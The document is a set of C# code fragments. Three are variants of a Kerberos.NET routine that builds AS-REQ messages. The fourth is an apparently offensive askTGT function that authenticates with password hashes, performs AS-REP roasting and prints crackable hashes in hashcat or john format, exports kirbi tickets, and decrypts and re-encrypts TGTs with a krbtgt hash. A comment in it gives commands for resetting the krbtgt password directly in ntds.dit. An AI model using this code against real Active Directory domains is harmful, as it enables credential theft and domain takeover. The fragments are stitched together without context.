public static KrbAsReq CreateAsReq(KerberosCredential credential, AuthenticationOptions options) { var kdcOptions = (KdcOptions)(options & ~AuthenticationOptions.AllAuthentication); var hostAddress = Environment.MachineName; var pacRequest = new KrbPaPacRequest { IncludePac = options.HasFlag(AuthenticationOptions.IncludePacRequest) }; var padata = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_PAC_REQUEST, Value = pacRequest.Encode() } }; var asreq = new KrbAsReq() { MessageType = MessageType.KRB_AS_REQ, Body = new KrbKdcReqBody { Addresses = new[] { new KrbHostAddress { AddressType = AddressType.NetBios, Address = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' ')) } }, CName = KrbPrincipalName.FromString( credential.UserName, PrincipalNameType.NT_ENTERPRISE, credential.Domain ), EType = KerberosConstants.ETypes.ToArray(), KdcOptions = kdcOptions, Nonce = KerberosConstants.GetNonce(), RTime = KerberosConstants.EndOfTime, Realm = credential.Domain, SName = new KrbPrincipalName { Type = PrincipalNameType.NT_SRV_INST, Name = new[] { "krbtgt", credential.Domain } }, Till = KerberosConstants.EndOfTime }, PaData = padata.ToArray() }; if (options.HasFlag(AuthenticationOptions.PreAuthenticate)) { credential.TransformKdcReq(asreq); } return(asreq); }
public static KrbAsReq CreateAsReq(KerberosCredential credential, AuthenticationOptions options) { if (credential == null) { throw new ArgumentNullException(nameof(credential)); } var config = credential.Configuration ?? Krb5Config.Default(); var kdcOptions = (KdcOptions)(options & ~AuthenticationOptions.AllAuthentication); var pacRequest = new KrbPaPacRequest { IncludePac = options.HasFlag(AuthenticationOptions.IncludePacRequest) }; var padata = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_PAC_REQUEST, Value = pacRequest.Encode() } }; var asreq = new KrbAsReq() { Body = new KrbKdcReqBody { Addresses = IncludeAddresses(config), CName = ExtractCName(credential), EType = GetPreferredETypes(config.Defaults.DefaultTicketEncTypes, config.Defaults.AllowWeakCrypto).ToArray(), KdcOptions = kdcOptions, Nonce = GetNonce(), RTime = CalculateRenewTime(kdcOptions, config), Realm = credential.Domain, SName = new KrbPrincipalName { Type = PrincipalNameType.NT_SRV_INST, Name = new[] { "krbtgt", credential.Domain } }, Till = CalculateExpirationTime(config) }, PaData = padata.ToArray() }; if (options.HasFlag(AuthenticationOptions.PreAuthenticate)) { credential.TransformKdcReq(asreq); } return(asreq); }
public static KrbAsReq CreateAsReq(KerberosCredential credential, AuthenticationOptions options) { var kdcOptions = (KdcOptions)(options & ~AuthenticationOptions.AllAuthentication); var hostAddress = Environment.MachineName; var padata = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_PAC_REQUEST, Value = new KrbPaPacRequest { IncludePac = options.HasFlag(AuthenticationOptions.IncludePacRequest) }.Encode().AsMemory() } }; if (options.HasFlag(AuthenticationOptions.PreAuthenticate)) { KerberosConstants.Now(out DateTimeOffset timestamp, out int usec); var ts = new KrbPaEncTsEnc { PaTimestamp = timestamp, PaUSec = usec }; var tsEncoded = ts.Encode().AsMemory(); KrbEncryptedData encData = KrbEncryptedData.Encrypt( tsEncoded, credential.CreateKey(), KeyUsage.PaEncTs ); padata.Add(new KrbPaData { Type = PaDataType.PA_ENC_TIMESTAMP, Value = encData.Encode().AsMemory() }); } var asreq = new KrbAsReq() { MessageType = MessageType.KRB_AS_REQ, Body = new KrbKdcReqBody { Addresses = new[] { new KrbHostAddress { AddressType = AddressType.NetBios, Address = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' ')) } }, CName = new KrbPrincipalName { Name = new[] { $"{credential.UserName}@{credential.Domain}" }, Type = PrincipalNameType.NT_ENTERPRISE }, EType = KerberosConstants.ETypes.ToArray(), KdcOptions = kdcOptions, Nonce = KerberosConstants.GetNonce(), RTime = KerberosConstants.EndOfTime, Realm = credential.Domain, SName = new KrbPrincipalName { Type = PrincipalNameType.NT_SRV_INST, Name = new[] { "krbtgt", credential.Domain } }, Till = KerberosConstants.EndOfTime }, PaData = padata.ToArray() }; return(asreq); }
//askTGT public static async System.Threading.Tasks.Task <KrbAsRep> askTGT(string kdc, ILoggerFactory logger, TcpKerberosTransport transport, string username, string password, string domainName, bool outKirbi = false, bool verbose = false, string format = "hashcat", bool asreproast = false, bool ptt = false, string hash = null, EncryptionType etype = EncryptionType.RC4_HMAC_NT, bool outfile = false, string tgtHash = null, EncryptionType tgtEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96 ) { var now = DateTime.Now; Console.WriteLine("[*] Starting Kerberos Authentication ..."); if (password != null) { cred = new KerberosPasswordCredential(username, password, domainName); } else { cred = new Utils.KerberosHashCreds(username, hash, etype, domainName); } credKey = cred.CreateKey(); //Pre-Auth KrbAsReq asReqMessage = null; KrbAsRep asRep = null; bool notPreauth = true; AuthenticationOptions authOptions = AuthenticationOptions.IncludePacRequest | AuthenticationOptions.RenewableOk | AuthenticationOptions.Canonicalize | AuthenticationOptions.Renewable | AuthenticationOptions.Forwardable; int authAttempt = 0; while (notPreauth) { authAttempt += 1; try { Console.WriteLine("[*] Sending AS-REQ ..."); var kdcOptions = (KdcOptions)(authOptions & ~AuthenticationOptions.AllAuthentication); var hostAddress = Environment.MachineName; var pacRequest = new KrbPaPacRequest { IncludePac = authOptions.HasFlag(AuthenticationOptions.IncludePacRequest) }; var padata = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_PAC_REQUEST, Value = pacRequest.Encode() } }; asReqMessage = new KrbAsReq() { Body = new KrbKdcReqBody { Addresses = new[] { new KrbHostAddress { AddressType = AddressType.NetBios, Address = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' ')) } }, CName = new KrbPrincipalName() { Type = PrincipalNameType.NT_PRINCIPAL, Name = new[] { username }// + "@" + domainName.ToUpper() } }, //KrbPrincipalName.FromString( // username, // PrincipalNameType.NT_ENTERPRISE, // domainName //), EType = KrbConstants.KerberosConstants.ETypes.ToArray(),//kdcReqEtype, KdcOptions = kdcOptions, Nonce = KrbConstants.KerberosConstants.GetNonce(), RTime = KrbConstants.KerberosConstants.EndOfTime, Realm = credKey.PrincipalName.Realm, SName = new KrbPrincipalName { Type = PrincipalNameType.NT_SRV_INST, Name = new[] { "krbtgt", credKey.PrincipalName.Realm } }, Till = KrbConstants.KerberosConstants.EndOfTime }, PaData = padata.ToArray() }; if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate)) { var ts = new KrbPaEncTsEnc() { PaTimestamp = now, PaUSec = now.Millisecond, }; var tsEncoded = ts.Encode(); var padataAs = asReqMessage.PaData.ToList(); KrbEncryptedData encData = KrbEncryptedData.Encrypt( tsEncoded, credKey, KeyUsage.PaEncTs ); padataAs.Add(new KrbPaData { Type = PaDataType.PA_ENC_TIMESTAMP, Value = encData.Encode() }); asReqMessage.PaData = padataAs.ToArray(); } //AS-Req Part if (verbose) { PrintFunc.PrintReq(asReqMessage, credKey); } var asReq = asReqMessage.EncodeApplication(); asRep = await transport.SendMessage <KrbAsRep>( domainName, asReq, default(CancellationToken)); } catch (KerberosProtocolException pex) { Console.WriteLine("[x] Kerberos Error: {0}", pex.Message); if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED) { if (asreproast) { Console.WriteLine("[x] Sorry the provided user requires PreAuth.\n"); Environment.Exit(0); } else { //Salt issue for RID 500 Built-in admin account //https://github.com/dotnet/Kerberos.NET/issues/164 if (password != null) { cred = new KerberosPasswordCredential(username, password, domainName); } else { cred = new Utils.KerberosHashCreds(username, hash, etype, domainName); } cred.IncludePreAuthenticationHints(pex?.Error?.DecodePreAuthentication()); credKey = cred.CreateKey(); authOptions |= AuthenticationOptions.PreAuthenticate; Console.WriteLine("[*] Adding encrypted timestamp ..."); } } else if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_FAILED) { Console.WriteLine("[x] Invalid Credential! Authentication Stopped ...\n"); Environment.Exit(0); } else { Console.WriteLine("[x] Authentication Stopped ...\n"); Environment.Exit(0); } } if (authAttempt == 2 || asreproast) { notPreauth = false; } } Console.WriteLine("[*] Receiving AS-REP..."); if (asreproast) { //Asreproasting string repHash = BitConverter.ToString(asRep.EncPart.Cipher.ToArray()).Replace("-", string.Empty); repHash = repHash.Insert(32, "$"); string hashString = ""; if (format == "john") { hashString = String.Format("$krb5asrep${0}@{1}:{2}", username, domainName, repHash); Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString); } else { hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", username, domainName, repHash); Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString); } } else { try { KrbEncAsRepPart asDecryptedRepPart = cred.DecryptKdcRep( asRep, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d)); if (verbose) { //AS-Rep Part PrintFunc.PrintRep(asRep, credKey); if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate)) { Console.WriteLine(" * [Decrypted Enc-Part]:"); PrintFunc.PrintRepEnc(asDecryptedRepPart, credKey); ////////////////////////////////////////decrypt TGT //// net stop ntds //// $key =Get-BootKey -Online //// $cred = ConvertTo-SecureString -String "krbtgt" -AsPlainText -Force //// Set-ADDBAccountPassword -SamAccountName krbtgt -NewPassword $cred -DatabasePath C:\Windows\NTDS\ntds.dit -BootKey $key //// net start ntds ////KeyTable keytab = new KeyTable(System.IO.File.ReadAllBytes("C:\\Users\\Public\\krbtgt.keytab")); ////var krbtgtkey = keytab.GetKey(EncryptionType.AES256_CTS_HMAC_SHA1_96, asRep.Ticket.SName); /// if (!string.IsNullOrEmpty(tgtHash)) { var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", tgtHash, tgtEtype); //TGS - REQ Ticket Enc-Part var ticketDecrypted = asRep.Ticket.EncryptedPart.Decrypt (krbtgtCred.CreateKey(), KeyUsage.Ticket, b => KrbEncTicketPart.DecodeApplication(b)); Console.WriteLine(" * [Decrypted TGT]:"); PrintFunc.PrintTicketEnc(ticketDecrypted); //Encrypt the ticket again asRep.Ticket.EncryptedPart = KrbEncryptedData.Encrypt(ticketDecrypted.EncodeApplication(), krbtgtCred.CreateKey(), KeyUsage.Ticket); } //////////////////////////////////////TGT } } if (outKirbi || outfile) { var kirbiTGT = Kirbi.toKirbi(asRep, asDecryptedRepPart, ptt); if (outKirbi) { Console.WriteLine("[+] TGT Kirbi:"); Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGT)); } if (outfile) { Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username), kirbiTGT); } } } catch (Exception e) { Console.WriteLine("[x] {0}. Unable to decrypt the ticket, provided credential is invalid. (Check the ticket etype if you want to decrypt it)\n", e.Message); //Environment.Exit(0); } } return((KrbAsRep)asRep); }